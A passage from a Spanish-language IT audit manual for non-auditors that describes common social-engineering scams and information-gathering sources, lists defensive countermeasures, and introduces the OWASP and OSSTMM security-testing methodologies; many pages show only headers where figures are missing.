3. Marcas y eventos conocidos Una de las prácticas más usuales es el aprovechamiento de la confianza que el usuario tiene en alguna empresa o marca reconocida. El uso de nombres de compañías u organizaciones no sólo se aplica al malware adjunto a mensajes de correo electrónico, sino también en troyanos, phishing y scam. Una práctica altamente frecuente para la propagación de gusanos y otros códigos maliciosos, tiene como base el envío de mensajes como si proviniesen de una reconocida empresa de software, con información sobre una supuesta vulnerabilidad y asegurando que el archivo adjunto o el enlace es un parche de seguridad crítico. En muchos de los casos de utilización de marcas, los creadores de códigos maliciosos incluyen una leyenda al pie del correo electrónico informando que el mismo ha sido analizado por algún antivirus reconocido y que está libre de malware con el objetivo de darle una mayor credibilidad al mensaje. También suelen registrarse casos en los que hay un aprovechamiento de eventos como el mundial de fútbol, los juegos olímpicos o el Super Bowl estadounidense, por mencionar algunos. Muchos de estos mensajes, cuando son enviados masivamente a través del correo electrónico, suelen estar armados en formato HTML o texto enriquecido, incluyendo logos y el formato típico de la empresa u entidad organizadora del evento. En el caso del Scam y el phishing, la metodología es similar, diferenciándose en que no se suelen incluir archivos adjuntos. Además, los mensajes creados para favorecer el phishing suelen utilizar nombres de compañías relacionadas con el ambiente financiero (bancos, tarjetas de crédito, etc.), sitios de Internet reconocidos (como Google, Yahoo!, PayPal, eBay, etc.), compañías de telefonía y muchas otras. Dado que la mayoría de las empresas y organizaciones tienen políticas de uso en las que explican que no enviarán mensajes de correo electrónico con archivos adjuntos, los usuarios nunca deben hacer caso a este tipo de mensajes. Conclusión Los casos de Ingeniería Social son tan diversos como inabarcables. Este texto no pretende desarrollarlos en su totalidad, sino informar a los usuarios sobre algunas de las metodologías más frecuentes con las que se presenta. Los nombres de figuras o empresas conocidas y las noticias de importancia utilizadas para fraguar el engaño se actualizan constantemente, así como se renuevan los temas a los que se recurre para generar confianza en el usuario. El desconocimiento y la curiosidad son las vulnerabilidades que la Ingeniería Social explota. Página 176 de 430

Manual de Auditoria para no Auditores Por eso es importante que los usuarios se informen y eduquen. No todo aquello que es recibido por Internet, desde cualquier medio, es fidedigno y, si no fue solicitado, hay grandes posibilidades de que se trate de un malware o de un intento de engaño. Paradójica y lamentablemente la vanidad humana no permite ver que el hombre es el elemento permanente y más débil en todo sistema. El usuario es el objetivo y el medio para acceder al equipo, por lo que es sumamente importante la capacitación para entender que todo usuario es un eslabón en la cadena de la seguridad. Fuente de este artículo. El arma infalible: la Ingeniería Social Autor: Cristian Borghello, Technical & Educational Manager de ESET para Latinoamérica Fecha: lunes 13 de abril del 2009.

Veamos algunos casos reales, como es aplicada la Ingeniería Social por sus practicantes, para obtener interesantes beneficios económicos, que, aunque se obtienen de forma ilegal, las víctimas, por los medios utilizados para su ejecución y su desarrollo sufren las consecuencias, sin poder hacer nada por culpa de lo que se conocen como vacíos legales, espacio que es aprovechados por estos mal llamados ingenieros sociales. 1.- La Estafa Nigeriana La Estafa Nigeriana, se lleva a cabo principalmente por correo electrónico no solicitado. Adquiere su nombre del número de artículo del código penal de Nigeria que viola, ya que buena parte de estas estafas provienen de ese país. Si recibe algo de correo basura, con mucha seguridad ya debe haber recibido un e-mail en inglés donde la explica que cierto funcionario que tiene acceso a unos fondos acumulados pero que tiene problemas para efectuar él mismo la operación, porque se trata de fondos secretos y como tiene que sacarlo de Nigeria lo más rápido posible, entonces ofrece una compensación fuera de lo común. Los defraudadores profesionales ofrecen transferir millones de dólares a su cuenta bancaria a cambio de un pequeño cargo. Si usted responde al ofrecimiento inicial, es posible que reciba documentos que parecen ser oficiales. Entonces, generalmente se le pide que provea los números de sus cuentas bancarias y una serie de información de carácter privado para hacer efectivo el traspaso. Por increíble que parezca, en el año 2001 alrededor de 2.600 ciudadanos fueron víctimas de esta estafa, con una pérdida de más de $300.000 dólares.

Página 177 de 430

Manual de Auditoria para no Auditores 2.- Robo de empleados: Cierta empresa consideraba que todo el mundo allí era parte de la “familia” y que no era necesario aplicar políticas de despido de empleados. Desgraciadamente llegó el día de despedir a uno de los directivos de más alto rango de esta empresa. El despido fue amigable y el directivo fue comprensivo. Una cosa que la empresa hizo correctamente fue llevar el despido a la última hora de la jornada para evitar el bochorno o cualquier tipo de distracción. Hubo un apretón de manos y entonces el ex directivo hizo la fatídica pregunta: ¿Puedo tomarme una hora para limpiar mi mesa y sacar algunas fotos personales del computador? Al tener buenas sensaciones después de la reunión todos estuvieron rápidamente de acuerdo y se fueron entre alegres sonrisas. Entonces el ex directivo se fue a su despacho, empaquetó sus objetos personales, sacó las fotos y otros datos de su computador, se conectó a la red y limpió el equivalente a 11 servidores en información: registros de contabilidad, nóminas, facturas, órdenes, historiales, gráficos y mucho más, todo borrado en cuestión de minutos. El ex directivo abandonó el edificio sin dejar pruebas de que él fue quien llevó a cabo este ataque. Un empleado descontento al que se deja actuar libremente puede ser más devastador que un equipo de hackers decididos y experimentados. La pérdida estimada sólo en empresas de Estados Unidos por robos de empleados es del orden de 15.000 millones de dólares. 3.- Phishing. Un ataque muy simple pero efectivo es engañar al usuario llevándolo a pensar que un administrador del sistema le está pidiendo una contraseña para propósitos legítimos. Quienes navegan en internet frecuentemente reciben mensajes que solicitan contraseñas o información de su tarjeta de crédito con el motivo de crear una cuenta, reactivar una configuración u otra operación aparentemente inofensiva. A este tipo de ataques se lo llama phishing. Los usuarios de estos sistemas deberían ser advertidos temprana y frecuentemente para que no divulguen contraseñas u otra información sensible a personas que dicen ser administradores. 4.- Spoofing: Técnicas de suplantación de identidad en la red generalmente con usos maliciosos. Por ejemplo, a fuerza de haber sufrido virus gracias a correos engañosos, bloqueos de casillas a causa del spam y otras delicias, muchos usuarios sólo chequean el correo electrónico proveniente de remitentes conocidos y “seguros”. Esta (última) opción también se ve amenazada gracias al spoofing, técnica que puede engañar a cualquier usuario enviando e-mails de todo tipo (propaganda, agitación política, etc.) bajo la máscara de una dirección” segura” de un remitente conocido.

Página 178 de 430

Manual de Auditoria para no Auditores En este caso, alguien se apropia del nombre y la contraseña de una dirección de correo y la utiliza para enviar correo masivo preferentemente a las personas que no dudarían en abrir un mensaje proveniente de esa dirección (dato fácilmente extraíble de la lista de correo). Los distintos tipos de Ingenieros Sociales La Ingeniería Social puede adoptar muchas formas. Como lo habíamos dicho anteriormente, Puede ser maliciosa o amigable puede crear o destruir. Es por ello que existen diferentes tipos de Ingenieros Sociales: - Hackers. - Probadores de seguridad. - Espías. - Ladrones de identidad. - Empleados descontentos. - Artistas del timo. - Agentes de recursos humanos. - Vendedores. - Gobiernos: No siempre son vistos como Ingenieros Sociales, pero los gobiernos utilizan la Ingeniería Social para controlar el mensaje que envían a las personas que gobiernan. - Médicos, Psicólogos, Abogados. Parece que se puede encontrar la Ingeniería Social o algún aspecto de ella en cualquier campo. Por eso, se sostiene firmemente que la Ingeniería Social es una ciencia. Caso: “En una ocasión arrendé un auto para hacer un viaje de negocios. Mi acompañante y yo cargamos nuestro equipaje en el maletero; cuando entramos en el auto reparamos en una pequeña bolsa de basura que había atrás. La persona que iba conmigo dijo: Este servicio va de mal en peor. Se supone que por lo que pagamos podrían al menos limpiar el coche. Es cierto, sería lógico, pero antes de que tirara la bolsa al basurero más cercano, dije: Déjame echar un vistazo rápido. Cuando abrí la bolsa y aparté los envoltorios lo que encontré allí, me pareció a simple vista impactante: era la mitad de un cheque partido. Inmediatamente volqué el contenido de la bolsa y encontré un recibo del banco y la otra mitad del cheque. Una vez pegado con cinta, el cheque revelaba el nombre de la persona, la empresa, su número de teléfono, número de cuenta bancaria y el código de identificación bancaria. Por suerte para el propietario de estos datos, no soy una mala persona porque sólo se necesitan un par de pasos más para cometer un robo de identidad. Página 179 de 430

Manual de Auditoria para no Auditores Esta historia personifica la relación que tiene la gente con su información valiosa. Esta persona que arrendó el auto antes que yo y después, al tirar el cheque, estaba convencido de que lo que había hecho desaparecer de forma segura. Fuentes de Recopilación de Información. 1.- Recopilar Información de los sitios web. Los sitios web personales o corporativos pueden proporcionar una gran cantidad de información. Lo primero que hará normalmente un buen Ingeniero Social es reunir todos los datos que pueda del sitio web de la persona o de la empresa. Hay que dedicarle tiempo para no ofrecer información que puedas ser utilizada contra nosotros mismo y para ello hay que dedicarle tiempo a verificar que no ofrecemos más información de la estrictamente necesaria a cerca de: - Lo que hacen. - Los productos y servicios que ofrecen. - Las localizaciones físicas. - Las ofertas de puestos de trabajo - Los números de contacto. - Las biografías de los ejecutivos o del consejo administrativo. - El foro de apoyo. - La nomenclatura de los correos electrónicos. - Palabras o frases especiales que pueden ayudar a determinar contraseñas. 2.- Servidores Públicos. Los servidores públicos de una empresa también son buenas fuentes de la información que sus sitios web no proporcionan. Las direcciones IP pueden decir si los servidores están alojados localmente o con un proveedor, con los registros de DNS puede determinar nombres y funciones de servidores y direcciones IP. 3.- Redes Sociales. Muchas empresas han empezado a interesarse por las redes sociales. Es publicidad barata que llega a un gran número de clientes potenciales. También es una nueva corriente de información de una empresa que puede proporcionar algunos datos útiles. Caso: El presidente de Hewlett- Packard reveló más que su jerarquía laboral cuando mencionó la iniciativa de almacenamiento en la web de la firma fabricante de computadoras en su perfil de LinkedIn.

Página 180 de 430

Manual de Auditoria para no Auditores En un descuido, alertó a sus competidores sobre detalles que no se habían difundido antes respecto de los servicios de cloud computing de la marca”. La información se retiró más tarde, si bien no antes de que los rivales pudieran ver los planes. Conforme los empleados brindan más información online sobre su vida, desde actualizaciones sobre su situación, controles de ubicación y cambios en el currículum, los empleadores corren más riesgos de que los competidores observen todos sus movimientos. En una encuesta de Forrester Research del año pasado entre más de 150 compañías que monitorean medios sociales, más del 82% expresó que usaba esos datos para inteligencia competitiva. 4.- Sitios de usuarios blogs y otros Los sitios de usuarios como los blogs, wikis y videos online, no solo pueden proporcionar información sobre la empresa objetivo, sino que también ofrecen una conexión más personal a través del contenido subido por el usuario. Un empleado descontento que está hablando en su blog, sobre sus problemas en la empresa, puede ser susceptible de compartir información privilegiada que cualquiera puede ver y leer. Un buen ejemplo es esta web www.icanstalku.com Al contrario de lo que indica su nombre “puedo acosarte”, no anima a la gente a acosar a otros. Este sitio pone de manifiesto el total descuido de muchos usuarios de Twitter. Rastrea el sitio de Twitter y busca usuarios que son tan imprudentes como para colgar fotos hechas con sus teléfonos Smartphone. Mucha gente no sabe que la mayoría de los Smartphone incrustan datos de localización en sus fotos. Cuando un usuario cuelga una foto en la web con esta información incrustada, puede conducir a una persona hasta su localización. Fuente de este artículo: BSC Consultores. El arte de engañar. Algunas conclusiones interesantes que debemos tener presente, para mantener concienciados y formados e informados, a todos los participantes en el proyecto de protección de la información. La ingeniería social se basa en estos cuatro principios: 1. TODOS QUEREMOS AYUDAR. 2. EL PRIMER MOVIMIENTO ES SIEMPRE DE CONFIANZA HACIA EL OTRO. 3. NO NOS GUSTA DECIR NO. 4. A TODOS NOS GUSTA QUE NOS ALABEN. En una gran medida la Ingeniería Social, sobrevive gracias a todo que le hemos citado anteriormente y en una gran medida a que las organizaciones, tanto el área de recursos humanos, como el área de asuntos legales, no mantienen un Página 181 de 430

Manual de Auditoria para no Auditores nexo continuo ni con el área de seguridad física, ni tampoco con el área de seguridad lógica (control de accesos), por lo que existe una brecha continúa debida a un desfase por desidia, entre todos los implicados, mantener los niveles de estanqueidad, al máximo. Por ello existente metodologías y procedimientos que se han creado para lograr este objetivo, si bien no debemos olvidar que, si bien podemos mantener la estanqueidad al máximo, dentro de la información de la empresa, esto no ocurre en el ámbito de la información personal, que se expone a través de las mal llamadas Redes Sociales, que son en muchos casos la principal fuente por donde se pueden encontrar los datos necesarios para quebrar los mejores sistemas de seguridad. Vemos que medidas deberíamos aplicar para minimizar el efecto de la Ingeniería Social, sobre nuestra seguridad como empresa. Extraído de una presentación sobre la Ingeniería del Doctor Luis Castellanos.  Educar a las personas, en concreto a las personas que trabajan cerca de las terminales, desde los operarios, hasta personal de limpieza.  Antes de abrir los correos analizarlos con un antivirus eficaz y debidamente actualizado, ya que cualquier mensaje de correo electrónico puede contener códigos maliciosos, aunque no le acompañe el símbolo de datos adjuntos.  Nunca ejecutar un programa de procedencia desconocida, aun cuando previamente sea verificado que no contiene virus. Dicho programa puede contener un troyano o un sniffer que reenvíe nuestra clave de acceso.  No informar telefónicamente de las características técnicas de la red, ni nombre de personal a cargo, etc. En su lugar lo propio es remitirlos directamente al responsable del sistema.  Asegurar un control de acceso físico al sitio donde se encuentra los ordenadores.  Establecer políticas de seguridad a nivel de Sistema Operativo.  Los usuarios no necesitan tener acceso a todo tipo de archivos o ficheros ya que no todos son necesarios para su trabajo habitual, por ello puede ser conveniente por parte del administrador bloquear la entrada de archivos o ficheros con extensiones ".exe",".vbs", etc.  Nunca tirar documentación técnica ni sensible a la basura, sino destruirla.  No revelar información personal por correo electrónico ni en línea a menos que sepa por qué motivo debe hacerlo y conozca a su interlocutor. Asegúrese además de que se encuentra en un entorno seguro: es esencial para ayudarle a evitar cualquier tipo de ataque.  Verificar previamente la veracidad de la fuente que solicite cualquier información sobre la red, su localización en tiempo y espacio y las personas que se encuentran al frente de la misma.  En caso de existir, instalar los parches de actualización de software que publican las compañías para solucionar vulnerabilidades. De esta manera se puede hacer frente a los efectos que puede provocar la ejecución de archivos con códigos maliciosos.

Página 182 de 430

Manual de Auditoria para no Auditores  No colocar datos personales completos, ni profusión de imágenes en los portales de las Redes Sociales  Restringir la privacidad de los perfiles en las Redes Sociales, para sólo puedan ser vistos por los amigos  Antes de aceptar un amigo en una Red Social, confirmar que es real, que es conocido, y que es de fiar.  Utilizar contraseñas seguras, evitando fechas de nacimiento, nombres propios, nombres de los hijos(as) o de las mascotas, nombres del cónyuge.  Evitar en lo posible el uso de redes P2P (redes para compartir archivos) como eMule, Kazaa, Limewire, Ares, Imesh o Gnutella porque generalmente están desprotegidos de troyanos y virus en general y éstos se expanden utilizándolas libremente para alcanzar a nuevos usuarios a los que infectar de forma especialmente sencilla. Por ello existe OWASP (acrónimo de Open Web Application Security Project, en inglés ‘Proyecto abierto de seguridad de aplicaciones web’) es un proyecto de código abierto dedicado a determinar y combatir las causas que hacen que el software sea inseguro. La Fundación OWASP es un organismo sin ánimo de lucro que apoya y gestiona los proyectos e infraestructura de OWASP. La comunidad OWASP está formada por empresas, organizaciones educativas y particulares de todo mundo. Juntos constituyen una comunidad de seguridad informática que trabaja para crear artículos, metodologías, documentación, herramientas y tecnologías que se liberan y pueden ser usadas gratuitamente por cualquiera. OWASP es un nuevo tipo de entidad en el mercado de seguridad informática. Estar libre de presiones corporativas facilita que OWASP proporcione información imparcial, práctica y redituable sobre seguridad de aplicaciones informáticas. OWASP no está afiliado a ninguna compañía tecnológica, si bien apoya el uso informado de tecnologías de seguridad. OWASP recomienda enfocar la seguridad de aplicaciones informáticas considerando todas sus dimensiones: personas, procesos y tecnologías. Los documentos con más éxito de OWASP incluyen la Guía OWASP y el ampliamente adoptado documento de autoevaluación OWASP Top 10. Las herramientas OWASP más usadas incluyen el entorno de formación WebGoat, la herramienta de pruebas de penetración WebScarab y las utilidades de seguridad para entornos .NET OWASP DotNet. OWASP cuenta con unos 50 capítulos locales por todo el mundo y miles de participantes en las listas de correo del proyecto. OWASP ha organizado la serie de conferencias AppSec para mejorar la construcción de la comunidad de seguridad de aplicaciones web. Veamos ahora de manera gráfica como entiende OWASP la seguridad aplicada a la fabricación de software como factoría industrial. Para respetar las obligaciones legales por supuesto la primera diapositiva es citar la fuente.

Página 183 de 430

Manual de Auditoria para no Auditores

Página 184 de 430

Manual de Auditoria para no Auditores Algunos de los factores anteriores, tienen relación con otros campos del conocimiento y de la conducta del ser humano, que no tienen ningún tipo de relación con la tecnología de forma directa o indirecta tiene que ver con conflictos de poder organizacional.

Página 185 de 430

Manual de Auditoria para no Auditores

Página 186 de 430

Manual de Auditoria para no Auditores

Página 187 de 430

Manual de Auditoria para no Auditores

Página 188 de 430

Manual de Auditoria para no Auditores

Página 189 de 430

Manual de Auditoria para no Auditores

Página 190 de 430

Manual de Auditoria para no Auditores

Página 191 de 430

Manual de Auditoria para no Auditores

Página 192 de 430

Manual de Auditoria para no Auditores

Volviendo a los conflictos de poder organizacional y la generación de inseguridad que ello supone debemos de tener presente, lo que muestra la siguiente figura

Página 193 de 430

Manual de Auditoria para no Auditores

.

En la realidad la flecha de la derecha esta invertida, pues según las teorías modernas de la organización y de las nuevas tendencias de gestión, los jefes, coordinadores y profesionales de la tecnología, son los responsables últimos de evitar las brechas que continuamente, se abren desde la parte superior de la pirámide, pues el beneficio justifica casi cualquier cosa, es la evolución del principio del maquiavelismo, de hecho muchas fugas de información, como hemos comentado y documentado en las páginas anteriores por experiencias previa, son fruto de la exposición de informaciones sensibles en páginas dentro de redes sociales. Por ello, toda la infraestructura de protección es inútil si no educamos a todas las personas con independencia de estatus jerárquico, que desempeñen dentro de cualquier organización, no lograremos garantizar la seguridad de la infraestructura física y lógica de cualquier empresa. Tras haber conocido un poco mejor quizás la mayor de todas las amenazas, a las que se enfrenta todos los sistemas tecnológicos, pasemos a conocer como efectuar una auditoria web, ya que la internet forma parte del tejido empresarial de cualquier organización. El entorno de desarrollo focalizado hacia Internet, por ende las aplicaciones Web, sufre continuos cambios, que van desde la aparición de nuevos lenguajes y herramientas, que cada vez requieren menores conocimientos de programación base y mayores conocimientos de ingeniería de negocio, de un lado, del otro lado el acceso que millones de personas tienen a esos mismos lenguajes y herramientas de programación que buscan obtener dinero fácil aplicando ingeniería social y eludiendo las actuaciones de las fuerzas policiales y de la justicia, trasgrediendo las fronteras tradicionales.

Página 194 de 430

Manual de Auditoria para no Auditores Por ello los profesionales de seguridad conscientes, que cada vez más, que Internet representa y es el mercado y en consecuencia supone un incremento continuo de la inseguridad, han llevado a organizaciones independientes de las tradicionales como son la ISO / ANSI / NIST a desarrollar una metodología específica, para intentar controlar y mitigar los riesgos que implica trabajar en un entorno en constante evolución a velocidad del aire de un tornado. Por eso OWASP es un gran proyecto y es el complemento perfecto de la normativa ISO / NIST y facilita todas las pautas y herramientas, para implantar un ciclo continuo de auditoria. OWASP tiene un complemento perfecto que es una metodología conocida bajo las siglas de OISSG que esta específicamente orientada a los activos y su relación con los procesos de gestión basados en diversas tecnologías a través de las diferentes tecnologías de red.

Página 195 de 430

Manual de Auditoria para no Auditores

Capítulo 23. Las metodologías OWASP / OSSTMM soporte para la verificación de la normativa. OWASP es la metodología orientada a evaluar la seguridad de nuestros proyectos Web, por tanto, es el tipo de auditoria que nos falta por conocer y también veremos en el siguiente capítulo, un resumen de la metodología OISSG con lo que se cerraría el ciclo y volveríamos de nuevo a situarnos en el punto de partida para volver a evaluar. Para conocer tras la aplicación de las nuevas contramedidas de Hardware y Software, cómo ha evolucionado nuestro nivel de seguridad respecto al punto anterior, cuando comenzamos el proyecto de auditoria de certificación / acreditación / alineamiento. OWASP tiene un atractivo especial y consiste en lo siguiente, si su empresa es una empresa pequeña o mediana y sus área de sistema, en particular tanto la que gestiona y monitoriza la operativa diaria, como su área de desarrollo, ya sea esta interna o externa, y todo se orienta hacia Internet es importante conocer cuáles son las brechas que debemos buscar y erradicar de nuestras aplicaciones Web, lo antes posible y verificar que las mismas no están presentes en nuestro actuales desarrollos por ello, efectúan una publicación que resumen cuales son dichas brechas y sobre que debemos focalizar nuestra supervisión para lograr mejorar nuestra seguridad, reduciendo en la medida de lo posible, las amenazas a las conocidas como amenazas del tipo Dia0.

Además de presentar las nuevas amenazas las mismas están clasificada por frecuencia en la que parecen y algunas que incluso se fusionan, ya que suelen aparecer juntas, en la mayoría de los casos.

Página 196 de 430

Manual de Auditoria para no Auditores

Página 197 de 430

Manual de Auditoria para no Auditores

Además ofrece enlaces adicionales a otro tipos de amenazas, que aunque presentan menor frecuencia, no por ello deben ser ignoradas, por lo que junto con los servicios CERT-SI de alerta temprana sobre los que hablaremos un poco más adelante dentro de este mismo capítulo, podemos conocer cuáles son las amenazas reales que nos acechan, lo que supone reducir de forma importante el riesgo o el conjunto de estos para nuestra organización.

Página 198 de 430

Manual de Auditoria para no Auditores Más ejemplos de OWASP no informa sobre que debe focalizar nuestra atención.

Página 199 de 430

Manual de Auditoria para no Auditores Muchas veces las organizaciones, se exponen a riesgos de forma innecesaria, al buscar reducciones de costes, que llevan al uso de componentes con importantes o graves vulnerabilidades, lo que equivaldría a dejar abierta la puerta de la cámara acorazada.

Página 200 de 430

Manual de Auditoria para no Auditores

Además de toda la información, ya comentada que supone un importante ahorro de tiempo, en consecuencia ahorro de costes y lo más importante con importante incremento de la seguridad, lo que se traduce un incremento de calidad, que a su vez se traduce en menor tiempo de monitorización dedicado a este tipo de aplicaciones, al menos las desarrollada bajo este modelo, al auto auditarse Página 201 de 430

Manual de Auditoria para no Auditores queda aún pendiente el tema de las aplicaciones construidas, sin este patrón que requerirán en muchos casos, del uso de ingeniería inversa para detectar sus vulnerabilidades, bien sea de producto, de código fuente, como las que acabamos de exponer o bien una mezcla de ambas. También debemos prestar atención a los siguientes aspectos, que se detallan en las sucesivas páginas.

Página 202 de 430

Manual de Auditoria para no Auditores

Página 203 de 430

Manual de Auditoria para no Auditores

Este problema siendo grave, no sólo afecta a los sistemas de gestión afecta mucho y en gran manera a sistemas industriales, que forman parte de las llamadas infraestructuras críticas, con lo que ello supone estamos hablando de sistemas de energía (electricidad, petróleo, gas) sistemas de telecomunicaciones, sistemas de control de plantas químicas y así hasta un total de 11 sectores, denominados críticos por las implicaciones que para la población general tienen, por ello se debe prestar especial atención a estos sistemas, que se gestionan utilizando infraestructuras públicas (redes de comunicaciones) modificando los parámetros originales de funcionamiento y utilizando protocolos Página 204 de 430

Manual de Auditoria para no Auditores seguros y enmascaramiento criptográfico, para garantizar la integridad y la confiabilidad de la información, ya que la disponibilidad está relativamente garantizada.

Página 205 de 430

Manual de Auditoria para no Auditores Un problema que tiene el mismo nivel de gravedad que el anterior, no olvidemos que un empleo descontento, ha podido crear varias puertas traseras a través de la configuración o bien que ha insertado en el código fuente de uno o varios programas, varias puertas traseras, para actuaciones de emergencia, por ello es tanto importante hacer revisiones tanto a nivel del código de programación, como en el código de configuración de las aplicaciones, para garantizar que dichas puertas no existen.

Página 206 de 430

Manual de Auditoria para no Auditores

Este es un problema que no es sencillo resolver, puesto que en una gran medida debemos establecer dos niveles de seguridad un nivel de seguridad a través del Sistema Operativo de Red y un segundo nivel de seguridad ya en el Sistema Operativo del Cliente / Dispositivo y el problema estriba en la correcta sincronización. Este un problema que se resuelve mediante el uso del protocolo NTP.

Página 207 de 430

Manual de Auditoria para no Auditores Este problema ya fue expuesto en su momento, no siempre migrar garantizar una mejora de seguridad importante, otra cuestión es si esa mejora de seguridad afecta algún componente crítico del negocio, en ese caso se deberá evaluar con sumo cuidado lo que la mejora implica o supone.

Este desde luego no es un problema menor, la confidencialidad de ciertos tipos de datos, no tiene precio y sus implicaciones jurídicas, así como económicas pueden llegar a ser muy severas, por no mencionar el tiempo, y esfuerzo económico que supone restaurar y sin garantías de éxito, una reputación dañada Página 208 de 430

Manual de Auditoria para no Auditores por lo que se recomienda extremar las medidas de seguridad, tanto en las comunicaciones, utilizando protocolos seguros, así como reforzar los mecanismos de cifrado / descifrado durante las sesiones de las aplicaciones que acceden a este tipo de información.

Página 209 de 430

Manual de Auditoria para no Auditores Esto es algo muy habitual en internet y el re-direccionamiento hacia páginas, que pueden instalar en forma silenciosa aplicaciones tipo keylogger, con la cuales capturar las credenciales de usuarios y sus contraseñas y acceder desde sitios no autorizados, por lo que hay que intentar en la medida de lo posible evitar que esto ocurra, para ello se deben utilizar todas las soluciones posibles, como son los proxys, además de los firewalls y los ids/ips más avanzados con la finalidad de poder analizar esos códigos y bloquearlos, informando a quien sea competente en la materia para tomar medidas técnicas y legales si fueran aplicables. Hay aspecto de esta metodología, que resultan en extremo útiles para el Auditor aplicados a las auditorias de tipo Desarrollo y Base de Datos, sobre todo porqué mientras en las zonas internas el tráfico, está controlado y monitorizado, todo lo que proviene de Internet no lo está en la misma medida que el tráfico interno y debido a las lagunas y vacíos legales existentes, tanto en derecho romano como en el sajón, resulta muy complejo probar la existencia de delitos más allá de la denominada duda razonable, por lo que debemos extremar las precauciones con todo tipo de contenidos. Por ello esta metodología en realidad es un conjunto de técnicas de penetración que nos permiten conocer de manera aproximada en grado de desarrollo se encuentra nuestra seguridad respecto a las amenazas existentes en Internet. Con la publicación de la versión 4 de su guía de pruebas OWASP, establece un marco completo de trabajo, que ayuda a los desarrolladores a crear código web seguro, teniendo muy presente todo lo relativo a las inyecciones SQL, por ser una de las técnicas más habituales de ataque en los últimos años, también vimos que las Bases de Datos, son unos de los objetivos favoritos de los hackers y crawlers debido si valor propio que tiene la información en sí misma. Hay que tener presente que OWASP es ante todo una metodología y un marco de trabajo orientado a pruebas en un entorno hostil “Internet” de ahí su visión del ciclo de vida de desarrollo SDLC.

Página 210 de 430

Manual de Auditoria para no Auditores

Como se puede observar la definición y el diseño, ocupan una gran parte del ciclo de vida, ya que la seguridad está presente desde la definición y dado que se ha de tener todo lo anteriormente señalado presente, con el fin de reducir a la mínima expresión el número de factores externos, que pueden afectar a una aplicación y en especial si es parte de una estructura critica o bien si está considerada como elemento crítico, dentro de un informe de análisis de impacto como ya vimos anteriormente al hablar de los riesgos. Uno de los mayores problemas a los que se enfrentan los desarrolladores es el uso correcto de uno varios de los mecanismos disponibles de autenticación de los usuarios, especialmente si acceden a datos sensibles, por ello se deben de incluir no sólo mecanismos de programación y de control de accesos desde el motor de la base de datos, sino que además podemos incluir protocolos específicos de autenticación y servidores diseñados expresamente para ello, además de incluir procesos de encriptado y desencriptado.

Página 211 de 430

Manual de Auditoria para no Auditores

Hemos descrito que OWASP, es un marco de trabajo especializado y orientado a desarrollo Web y verificación de los niveles de seguridad que la Web contempla por lo que mostramos el flujo de trabajo de OWASP, esto no sustituye, ni suprime la lectura y la formación específica en esta metodología, hemos querido poner en conocimiento de los lectores no especializados, que existe tanto la metodología, como las herramientas asociadas y que la consideramos una pieza esencial de una buena práctica, a la hora de auditar para lograr una certificación ISO 27001. Lo que se debe tener presente es que, aunque sólo está enfocada desde el origen a proyectos software tipo Web, dada la dinámica de un entorno tan colaborativo para bien o para mal, una auditoria de gestión de la seguridad de la información, no estaría completa, sin el uso, aunque sea mínimo de esta metodología, cuyo flujo de trabajo exponemos en la página siguiente y su encaje en otra metodología más general conocida como OSSTM.

Página 212 de 430

Manual de Auditoria para no Auditores

¿Qué es OSSTMM? OSSTMM es un manual de metodologías para pruebas y análisis de seguridad realizado siguiendo la metodología OML (Open Methodology License) siendo el manual en sí publicado bajo licencia Creative Commons 3.0, lo cual permite el libre uso y distribución del mismo. Como proyecto de Software Libre, permite a cualquier analista de seguridad contribuir a la mejora del manual lo cual, además, garantiza unas pruebas de seguridad más certeras, eficientes y procesables. La metodología OSSTMM se centra en los detalles técnicos de los elementos que necesitan ser comprobados, qué hacer antes, durante y después de las pruebas de seguridad, así como evaluar los resultados obtenidos. Las pruebas que recoge el manual incluyen todos los canales de operación: Humanos, físicos, wireless, telecomunicaciones, y redes de datos. ¿Quién publica OSSTMM? El manual se encuentra realizado por ISECOM (Institute for Security and Open Methodologies), una organización sin ánimo de lucro de dedicada al desarrollo de metodologías de libre utilización para la verificación de la seguridad, la programación segura, la verificación de software y la concientización en seguridad. ISECOM se encuentra dirigida por Pete Herzog y Marta Barceló

Página 213 de 430

Manual de Auditoria para no Auditores Jordan y se encuentra respaldada por un amplio número de expertos de seguridad por todo el mundo. OSSTMM es el proyecto más destacado de ISECOM, sin embargo, esta organización realiza y mantiene otros como son: SCARE: The Source Code Analysis and Risk Evaluation Child Safety and Security Methodology: Una metodología para enseñar seguridad a los niños a través de juegos e historias. Home Security Methodology: Metodología para mantener seguros los hogares y mantenerlos a salvo de posibles amenazas. National Security Methodology: Definición de políticas y metodologías para mejorar la seguridad nacional. Un breve vistazo a OSSTMM El OSSTMM por sus siglas en ingles “Open Source Security Testing Methodology Manual” o “Manual de la Metodología Abierta del Testeo de Seguridad” tal como fuera nombrada oficialmente su versión en español, es uno de los estándares profesionales más completos y comúnmente utilizados a la hora de revisar la Seguridad de los Sistemas y se encuentra en constante desarrollo, actualmente se compone de las siguientes secciones: Sección A -Seguridad de la Información

1. Revisión de la Inteligencia Competitiva 2. Revisión de Privacidad 3. Recolección de Documentos

Sección B – Seguridad de los Procesos

1. Testeo de Solicitud 2. Testeo de Sugerencia Dirigida 3. Testeo de las Personas Confiables

Sección C – Seguridad en las tecnologías de Internet

1. Logística y Controles 2. Exploración de Red Página 214 de 430

Manual de Auditoria para no Auditores 3. Identificación de los Servicios del Sistema 4. Búsqueda de Información Competitiva 5. Revisión de Privacidad 6. Obtención de Documentos 7. Búsqueda y Verificación de Vulnerabilidades 8. Testeo de Aplicaciones de Internet 9. Enrutamiento 10. Testeo de Sistemas Confiados 11. Testeo de Control de Acceso 12. Testeo de Sistema de Detección de Intrusos 13. Testeo de Medidas de Contingencia 14. Descifrado de Contraseñas 15. Testeo de Denegación de Servicios 16. Evaluación de Políticas de Seguridad

Sección D – Seguridad en las Comunicaciones

1. Testeo de PBX 2. Testeo del Correo de Voz 3. Revisión del FAX 4. Testeo del Modem

Sección E – Seguridad Inalámbrica

1. Verificación de Radiación Electromagnética (EMR) 2. Verificación de Redes Inalámbricas [802.11] 3. Verificación de Redes Bluetooth 4. Verificación de Dispositivos de Entrada Inalámbricos 5. Verificación de Dispositivos de Mano Inalámbricos 6. Verificación de Comunicaciones sin Cable

Página 215 de 430

Manual de Auditoria para no Auditores 7. Verificación de Dispositivos de Vigilancia Inalámbricos 8. Verificación de Dispositivos de Transacción Inalámbricos 9. Verficación de RFID 10. Verificación de Sistemas Infrarrojos 11. Revisión de Privacidad

Sección F – Seguridad Física

